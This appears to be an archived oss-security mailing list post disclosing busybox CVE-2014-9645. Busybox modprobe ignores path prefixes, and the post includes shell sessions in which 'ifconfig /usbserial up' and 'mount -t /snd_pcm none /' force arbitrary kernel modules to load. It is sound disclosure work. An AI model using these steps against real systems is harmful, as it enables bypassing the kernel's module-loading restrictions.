Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 25 Jan 2015 20:25:02 -0700
From: Kurt Seifried <>
To: "" <>,
        Marcus Meissner <>
Subject: busybox CVE-2014-9645

Just saw this, I'm guessing it affects all busybox:

Mathias Krause 2014-11-19 21:22:25 UTC
modprobe uses the "basename" of the module argument as the module to
load, as
can be seen here:

bbox:~# lsmod | grep vfat
bbox:~# modprobe foo/bar/baz/vfat
bbox:~# lsmod | grep vfat
vfat                   17135  0
fat                    61984  1 vfat
bbox:~# find /lib/modules/`uname -r` -name vfat.ko

It should instead fail to load the module -- actually fail to *find* the

This can even be abused to load arbitrary modules by nullifying enforced
prefixes some of the Linux kernel's subsystems try to apply to prevent just

bbox:~# lsmod | grep usb
bbox:~# ifconfig /usbserial up
ifconfig: SIOCGIFFLAGS: No such device
bbox:~# lsmod | grep usb
usbserial              32201  0

The actual modprobe invocation, done by the kernel was:
/sbin/modprobe -q -- netdev-/usbserial

Due to the bug, the "netdev-" prefix including the "/" are ignored and the
usbserial.ko module gets loaded.

The same works for filesystems, e.g.:

bbox:~# lsmod | grep snd_pcm
bbox:~# mount -t /snd_pcm none /
mount: mounting none on / failed: No such device
bbox:~# lsmod | grep snd_pcm
snd_pcm                88826  0
snd_timer              26606  1 snd_pcm
snd                    61141  2 snd_pcm,snd_timer

This time the kernel called out to:
/sbin/modprobe -q -- fs-/snd_pcm

Note the "fs-" prefix.
Comment 1

Kurt Seifried -- Red Hat -- Product Security -- Cloud
PGP A90B F995 7350 148F 66BF 7554 160D 4553 5E26 7993

Download attachment "signature.asc" of type "application/pgp-signature" (820 bytes)

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ